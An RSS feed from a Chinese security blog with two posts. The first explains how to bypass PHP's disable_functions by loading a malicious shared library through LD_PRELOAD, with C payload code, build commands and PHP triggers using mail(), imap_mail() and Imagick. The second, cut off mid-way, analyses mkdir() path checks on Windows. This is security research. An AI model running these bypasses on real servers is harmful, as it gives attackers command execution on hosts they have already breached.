<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Php on 诗与胡说</title>
    <link>https://kylingit.com/tags/php/index.xml</link>
    <description>Recent content in Php on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/php/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>利用LD_PRELOAD绕过disbale_functions</title>
      <link>https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/</link>
      <pubDate>Tue, 02 Apr 2019 10:21:42 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-背景&#34;&gt;0x01 背景&lt;/h3&gt;

&lt;p&gt;有时候拿到&lt;code&gt;shell&lt;/code&gt;后发现无法执行系统命令，通过&lt;code&gt;phpinfo&lt;/code&gt;查看发现设置了&lt;code&gt;disbale_functions&lt;/code&gt;，禁止了大部分可以执行命令的方法，这时候就要考虑绕过这个限制。本文是介绍了利用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量加载恶意共享库的方式绕过，当然方式不止文中列出的几种，有何遗漏或不足欢迎提建议。&lt;/p&gt;

&lt;h3 id=&#34;0x02-ld-preload-环境变量&#34;&gt;0x02 LD_PRELOAD 环境变量&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;LD_PRELOAD&lt;/em&gt; is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (&lt;em&gt;libc.so&lt;/em&gt;) This is called preloading a library.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;根据文档介绍，如果使用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量指定了一个共享库或共享对象，那么这个共享对象会在其他对象加载前被加载，例如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;即在执行&lt;code&gt;ls&lt;/code&gt;命令前，会先加载指定路径的&lt;code&gt;malloc.so&lt;/code&gt;文件，如果这是一个恶意共享对象，那么可以执行任意操作。&lt;/p&gt;

&lt;p&gt;我们可以通过&lt;code&gt;readelf&lt;/code&gt;命令查看某个命令调用了哪些外部链接库，然后找到其中某个库，编写同名函数进行劫持，然后编译成共享对象文件，接着使用&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量指定生成的对象，达到命令执行的目的。&lt;/p&gt;

&lt;p&gt;一般情况我们选择简单的或者不带参数的命令，例如&lt;code&gt;id&lt;/code&gt;，&lt;code&gt;ls&lt;/code&gt;，&lt;code&gt;whoami&lt;/code&gt;等，另外为了实现原型一致的劫持函数，也尽量选择常用的或者不用传递参数的函数，例如&lt;code&gt;getuid()&lt;/code&gt;，&lt;code&gt;getpid()&lt;/code&gt;，&lt;code&gt;getgid()&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;以&lt;code&gt;python&lt;/code&gt;为例，通过命令&lt;code&gt;readelf -s /usr/bin/python&lt;/code&gt;列出&lt;code&gt;python&lt;/code&gt;程序调用的系统函数，可以筛选出&lt;code&gt;get&lt;/code&gt;型的函数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402111421.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;尝试劫持&lt;code&gt;getpid()&lt;/code&gt;函数&lt;/p&gt;

&lt;p&gt;首先通过man命令查看&lt;code&gt;getpid()&lt;/code&gt;函数的实现&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402111816.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后重写&lt;code&gt;getpid()&lt;/code&gt;函数&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

pid_t getpid(void){
    system(&amp;quot;echo &#39;pwned by getpid!&#39;&amp;quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt;因为通过设置&lt;code&gt;preload&lt;/code&gt;劫持了比较底层的函数，而派发出的新进程如果用到该函数也会一并被劫持，也就是说如果没有及时&lt;code&gt;unsetenv(&amp;quot;LD_PRELOAD&amp;quot;)&lt;/code&gt;则会导致不断循环，一旦操作敏感就会比较危险，所以一定要及时删除这个环境变量，改进版如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void payload(void){
    system(&amp;quot;echo &#39;pwned by getpid!&#39;&amp;quot;);
}

pid_t getpid(void){
    if (getenv(&amp;quot;LD_PRELOAD&amp;quot;) == NULL){
        return 0;
    }

    unsetenv(&amp;quot;LD_PRELOAD&amp;quot;);
    payload();

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接着编译共享对象，&lt;code&gt;-shared&lt;/code&gt;表示生成共享库，&lt;code&gt;-fPIC&lt;/code&gt;表示使用地址无关代码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;gcc -shared -fPIC getpid.c -o getpid.so
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;LD_PRELOAD&lt;/code&gt;设置加载so文件，运行python，可以看到函数被成功劫持&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403104653.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个方法有一定限制，首先需要找到一个相对简单的函数原型，然后需要确保该函数被目标程序调用，因此一个更好的方法是利用扩展修饰符修饰函数，优先加载恶意函数，增强通用性，这里就用到了&lt;code&gt;扩展修饰符&lt;/code&gt; &lt;code&gt;__attribute__((constructor))&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GCC 有个 C 语言扩展修饰符 &lt;code&gt;__attribute__((constructor))&lt;/code&gt;，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行 &lt;code&gt;__attribute__((constructor))&lt;/code&gt; 修饰的函数&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单说就是&lt;code&gt;__attribute__&lt;/code&gt;可以修饰几个属性，包括函数属性、变量属性和类型属性，语法格式为：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;__attribute__(( attribute-list ))&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;当函数属性被设置为&lt;code&gt;constructor&lt;/code&gt;时，该函数会在可执行文件（或共享对象）加载时被调用，同理当设置属性为&lt;code&gt;destructor&lt;/code&gt;时会在对象&lt;code&gt;unload&lt;/code&gt;时调用，也就是说设置为这两个属性时，会在&lt;code&gt;main()&lt;/code&gt;函数执行之前或者&lt;code&gt;return()&lt;/code&gt;执行之后被调用，我们就可以借助这个扩展修饰符，当加载so文件时自动执行恶意函数，这样就不局限于某个特定函数，使用面大大扩展了&lt;/p&gt;

&lt;p&gt;重新写一个函数，使用 &lt;code&gt;__attribute__((constructor))&lt;/code&gt;修饰&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#include &amp;lt;unistd.h&amp;gt;

void payload(void){
    system(&amp;quot;echo &#39;pwned!&#39;&amp;quot;);
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv(&amp;quot;LD_PRELOAD&amp;quot;) == NULL){
        return;
    }

    unsetenv(&amp;quot;LD_PRELOAD&amp;quot;);
    payload();

    return;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重新编译并加载，成功执行&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402154051.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x03-绕过-disable-functions&#34;&gt;0x03 绕过&lt;code&gt;disable_functions&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;接下来看一下怎么利用&lt;code&gt;LD_PRELOAD&lt;/code&gt;在&lt;code&gt;php&lt;/code&gt;启用&lt;code&gt;disable_functions&lt;/code&gt;禁用了命令/代码执行函数的情况下绕过这个限制，达到命令执行的效果&lt;/p&gt;

&lt;p&gt;&lt;code&gt;php.ini&lt;/code&gt;限制大部分执行命令的函数&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;disable_functions = assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据上面的介绍，我们突破&lt;code&gt;disable_functions&lt;/code&gt;的步骤如下&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;编写恶意C函数，并编译成共享对象；&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;php&lt;/code&gt;执行过程中找到一个函数，这个函数能够产生一个新的进程；&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;putenv&lt;/code&gt;设置&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量，使得新产生的进程优先加载恶意共享对象；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;第1步在上文已经解决了，第3步也比较容易实现，关键就是第2步，找到一个&lt;code&gt;php&lt;/code&gt;中可以新起一个进程的函数，目的是为了让这个新进程使用的环境变量加载我们设置的恶意共享对象，达到劫持的目的&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;php&lt;/code&gt;中有这么几个函数可以被利用，&lt;code&gt;mail()&lt;/code&gt;，&lt;code&gt;imap_mail()&lt;/code&gt;，以及&lt;code&gt;Imagick&lt;/code&gt;，来逐一测试&lt;/p&gt;

&lt;h4 id=&#34;mail&#34;&gt;mail()&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;mail()&lt;/code&gt;函数会启动&lt;code&gt;sendmail&lt;/code&gt;进程发送邮件，这个过程是可以被劫持的&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
    mail(&amp;quot;admin@localhost&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过&lt;code&gt;strace&lt;/code&gt;查看&lt;code&gt;mail()&lt;/code&gt;函数调用的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190402180420.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到除了&lt;code&gt;php&lt;/code&gt;自身进程外还启动了&lt;code&gt;sendmail&lt;/code&gt;进程，而&lt;code&gt;sendmail&lt;/code&gt;在执行过程中调用了多个可以被劫持的函数，例如&lt;code&gt;getuid&lt;/code&gt;，&lt;code&gt;getgid&lt;/code&gt;， &lt;code&gt;getpid&lt;/code&gt;等，我们还是以上面的&lt;code&gt;getpid&lt;/code&gt;为例测试&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403103643.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;putenv&lt;/code&gt;将&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量设置为上面编译好的&lt;code&gt;getpid.so&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
    putenv(&amp;quot;LD_PRELOAD=/tmp/getpid.so&amp;quot;);
    mail(&amp;quot;admin@localhost&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;,&amp;quot;&amp;quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403104908.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;成功绕过&lt;code&gt;disable_functions&lt;/code&gt;限制。另外也可以用&lt;code&gt;__attribute__ ((__constructor__))&lt;/code&gt;修饰函数，这样就不局限于某个系统函数。&lt;/p&gt;

&lt;h4 id=&#34;imap-mail&#34;&gt;imap_mail()&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;imap_mail()&lt;/code&gt;函数与&lt;code&gt;mail()&lt;/code&gt;函数类似，都会调用&lt;code&gt;sendmail&lt;/code&gt;程序发送邮件，因此也能通过&lt;code&gt;LD_PRELOAD&lt;/code&gt;环境变量绕过，方法同上&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403141357.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;imagick&#34;&gt;Imagick&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;Imagick&lt;/code&gt;作为使用广泛的图形处理库，它在处理各种类型的文件时会调用不同的处理程序，这个过程也是可以进行劫持的，常见的文件类型与处理程序对应关系列举如下&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件类型&lt;/th&gt;
&lt;th&gt;调用程序&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EPI/EPS/PDF/PS&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;http://www.cs.wisc.edu/~ghost&#34;&gt;Ghostscript&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;MNG/M2V&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;http://www.ffmpeg.org/download.html&#34;&gt;ffmpeg&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;JXR&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://jxrlib.codeplex.com/&#34;&gt;jxrlib&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;详细的依赖调用关系可以参考&lt;a href=&#34;https://imagemagick.org/script/formats.php&#34;&gt;官方网站&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;以&lt;code&gt;eps&lt;/code&gt;文件为例，使用&lt;code&gt;Imagick&lt;/code&gt;加载&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
    $a = new Imagick(&amp;quot;/tmp/payload.eps&amp;quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果出现报错&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Uncaught ImagickException: not authorized &#39;payload.eps&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;需要修改&lt;code&gt;imagick&lt;/code&gt;的&lt;code&gt;policy.xml&lt;/code&gt;文件，把相应文件类型的权限修改为&lt;code&gt;read|write&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403151458.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;strace&lt;/code&gt;可以看到启动了&lt;code&gt;gs&lt;/code&gt;程序处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403152424.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此我们同样可以通过修改&lt;code&gt;LD_PRELOAD&lt;/code&gt;达到执行代码的目的，而实际上这个过程并不要求&lt;code&gt;payload.eps&lt;/code&gt;是个合法的&lt;code&gt;eps&lt;/code&gt;文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190403153255.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;类似的，&lt;code&gt;pdf&lt;/code&gt;、&lt;code&gt;ps&lt;/code&gt;、&lt;code&gt;wmv&lt;/code&gt;文件等，都可以通过这个方法利用。&lt;/p&gt;

&lt;h3 id=&#34;0x04-总结&#34;&gt;0x04 总结&lt;/h3&gt;

&lt;p&gt;本文主要介绍了如何利用&lt;code&gt;LD_PRELOAD&lt;/code&gt;突破&lt;code&gt;disbale_functions&lt;/code&gt;，当然这个方法也有一个限制，那就是&lt;code&gt;putenv&lt;/code&gt;没有被禁用，得以设置环境变量，因此在不影响系统运行的前提下也需要把&lt;code&gt;putenv&lt;/code&gt;加上。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ&#34;&gt;https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ&lt;/a&gt;&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>对PHP中的mkdir()函数的研究</title>
      <link>https://kylingit.com/blog/%E5%AF%B9php%E4%B8%AD%E7%9A%84mkdir%E5%87%BD%E6%95%B0%E7%9A%84%E7%A0%94%E7%A9%B6/</link>
      <pubDate>Wed, 20 Mar 2019 15:27:20 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/%E5%AF%B9php%E4%B8%AD%E7%9A%84mkdir%E5%87%BD%E6%95%B0%E7%9A%84%E7%A0%94%E7%A9%B6/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-缘起&#34;&gt;0x01 缘起&lt;/h3&gt;

&lt;p&gt;在前阵子分析&lt;a href=&#34;https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/&#34;&gt;WORDPRESS IMAGE 远程代码执行漏洞&lt;/a&gt;的过程中，在文末提到一点关于&lt;code&gt;php&lt;/code&gt;中的&lt;code&gt;mkdir()&lt;/code&gt;函数，在触发漏洞时这个地方存在一点疑惑，即当&lt;code&gt;mkdir()&lt;/code&gt;第三个参数分别为&lt;code&gt;false&lt;/code&gt;和&lt;code&gt;true&lt;/code&gt;时，分别是能成功创建文件夹和创建失败，后来有同学发现和他的测试结果有偏差，两种情况都无法创建，在互相确认了&lt;code&gt;php&lt;/code&gt;版本后，对&lt;code&gt;mkdir()&lt;/code&gt;函数进行了深入的研究，发现里面大有文章。&lt;/p&gt;

&lt;p&gt;当时的测试结果是这样的，环境是&lt;code&gt;Windows&lt;/code&gt;+&lt;code&gt;php-7.0.12-nts&lt;/code&gt;，在&lt;code&gt;recursive=false&lt;/code&gt;时成功穿越目录并创建了文件夹&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222095108.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本文重新编译了php方便调试，版本是&lt;code&gt;php-7.2.16-ts&lt;/code&gt;和&lt;code&gt;php-7.2.16-nts&lt;/code&gt;，测试结果如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320161208.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320161651.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到只有在非线程安全下并且&lt;code&gt;recursive=false&lt;/code&gt;时才成功创建，总结如下表所示&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;center&#34;&gt;Windows&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;&lt;strong&gt;thread-safe&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;&lt;strong&gt;non-thread safe&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;recursive=false&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (No error)&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;success&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;center&#34;&gt;&lt;strong&gt;recursive=true&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (Invalid path)&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;fail (Invalid path)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;接下来从源码角度看看&lt;code&gt;php&lt;/code&gt;如何实现&lt;code&gt;mkdir()&lt;/code&gt;函数，探究一下为何会出现差异&lt;/p&gt;

&lt;h3 id=&#34;0x02-调试&#34;&gt;0x02 调试&lt;/h3&gt;

&lt;p&gt;用&lt;code&gt;Visual Studio 2017&lt;/code&gt;打开项目，定位到&lt;code&gt;php-7.2.16-src/main/streams/plain_wrapper.c&lt;/code&gt;line 1234，方法&lt;code&gt;php_plain_files_mkdir()&lt;/code&gt;即&lt;code&gt;mkdir()&lt;/code&gt;的实现，在此处下个断点，然后运行脚本，接着选择&lt;code&gt;调试-附加到进程&lt;/code&gt;，选择编译好的&lt;code&gt;php.exe&lt;/code&gt;进程，成功命中断点。&lt;/p&gt;

&lt;h3 id=&#34;0x03-源码分析&#34;&gt;0x03 源码分析&lt;/h3&gt;

&lt;h4 id=&#34;1-recursive-true&#34;&gt;1. recursive=true&lt;/h4&gt;

&lt;h5 id=&#34;thread-safe&#34;&gt;thread-safe&lt;/h5&gt;

&lt;p&gt;首先分析在&lt;code&gt;recursive=true&lt;/code&gt;的情况，跟随断点来看一下&lt;code&gt;php_plain_files_mkdir()&lt;/code&gt;这个方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320162930.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看到对&lt;code&gt;recursive&lt;/code&gt;进行了判断，进了不同的分支，分别执行&lt;code&gt;php_mkdir()&lt;/code&gt;和&lt;code&gt;expand_filepath_with_mode()&lt;/code&gt;。&lt;code&gt;recursive=true&lt;/code&gt;时进入&lt;code&gt;expand_filepath_with_mode()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320163530.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个&lt;code&gt;expand_filepath_with_mode()&lt;/code&gt;方法会判断当前路径是相对路径还是绝对路径，然后把路径传入&lt;code&gt;virtual_file_ex()&lt;/code&gt;，如果是相对路径的话会在该方法中拼接成完整的路径，随后进行一个重要的判断&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320165438.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果是&lt;code&gt;Windows&lt;/code&gt;系统且路径中包含了&lt;code&gt;*&lt;/code&gt;或&lt;code&gt;?&lt;/code&gt;，则直接返回错误，这也就是为什么在复现&lt;code&gt;wordpress&lt;/code&gt;漏洞时构造的&lt;code&gt;PoC&lt;/code&gt;中含有&lt;code&gt;?&lt;/code&gt;无法创建目录的原因(&lt;code&gt;wordpress&lt;/code&gt;指定了&lt;code&gt;recursive=true&lt;/code&gt;)，当时使用&lt;code&gt;#&lt;/code&gt;绕过了这个限制&lt;/p&gt;

&lt;p&gt;回到上面，&lt;code&gt;virtual_file_ex()&lt;/code&gt;没有通过验证，最终抛出的异常是&lt;code&gt;&amp;quot;Invalid path&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
    php_error_docref(NULL, E_WARNING, &amp;quot;Invalid path&amp;quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;non-thread-safe&#34;&gt;non-thread safe&lt;/h5&gt;

&lt;p&gt;在非线程安全模式下，流程是完全一样的，最终也会因为无法通过&lt;code&gt;*&lt;/code&gt;或&lt;code&gt;?&lt;/code&gt;的检查，抛出&lt;code&gt;&amp;quot;Invalid path&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&#34;2-recursive-false&#34;&gt;2. recursive=false&lt;/h4&gt;

&lt;p&gt;接下来看一下&lt;code&gt;recursive=false&lt;/code&gt;的情况，在这个情况下，线程安全与非线程安全产生了不一样的结果。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;recursive=false&lt;/code&gt;时进入&lt;code&gt;php_mkdir()&lt;/code&gt;方法，随后进入&lt;code&gt;php_mkdir_ex()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320171340.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在进行&lt;code&gt;basedir&lt;/code&gt;检查后进入&lt;code&gt;VCWD_MKDIR&lt;/code&gt;，这是一个宏命令，在源码中有三处定义，在&lt;code&gt;php-7.2.16-src/Zend/zend_virtual_cwd.h&lt;/code&gt;中，分别是&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mkdir(pathname, mode)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;php_win32_ioutil_mkdir(pathname, mode)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtual_mkdir(pathname, mode)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320172231.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意这三个定义是根据不同的条件执行的，看一下逻辑&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;#ifdef VIRTUAL_DIR
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#endif

#if defined(ZEND_WIN32)
#define VCWD_MKDIR(pathname, mode) php_win32_ioutil_mkdir(pathname, mode)
#else
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;也就是说，如果定义了&lt;code&gt;VIRTUAL_DIR&lt;/code&gt;，那么执行的是&lt;code&gt;virtual_mkdir()&lt;/code&gt;，否则如果是&lt;code&gt;Windows&lt;/code&gt;系统，就执行&lt;code&gt;php_win32_ioutil_mkdir()&lt;/code&gt;创建目录，&lt;code&gt;linux&lt;/code&gt;下则是&lt;code&gt;mkdir&lt;/code&gt;命令&lt;/p&gt;

&lt;p&gt;那么，既然在&lt;code&gt;recursive=false&lt;/code&gt;的情况下，线程安全与非线程安全出现了不一样的结果，肯定是此处走的分支不一样，一个使用了&lt;code&gt;virtual_mkdir()&lt;/code&gt;，另一个使用了&lt;code&gt;php_win32_ioutil_mkdir()&lt;/code&gt;，分别进入两个方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320173806.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;virtual_mkdir()&lt;/code&gt;中，同上面的情况一样，进行了&lt;code&gt;virtual_file_ex()&lt;/code&gt;判断，因此也会走到对&lt;code&gt;*&lt;/code&gt;和&lt;code&gt;?&lt;/code&gt;的判断，同样因为通不过检查而抛出&lt;code&gt;&amp;quot;Invalid path&amp;quot;&lt;/code&gt;，而在&lt;code&gt;php_win32_ioutil_mkdir()&lt;/code&gt;中则是调用了&lt;code&gt;CreateDirectoryW&lt;/code&gt;创建目录&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190320174124.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;CreateDirectoryW&lt;/code&gt;是&lt;code&gt;Windows&lt;/code&gt;下创建目录的&lt;code&gt;API&lt;/code&gt;，走到这个分支并不检查&lt;code&gt;*&lt;/code&gt;和&lt;code&gt;?&lt;/code&gt;，因此能够成功创建目录。&lt;/p&gt;

&lt;blockquote&gt;
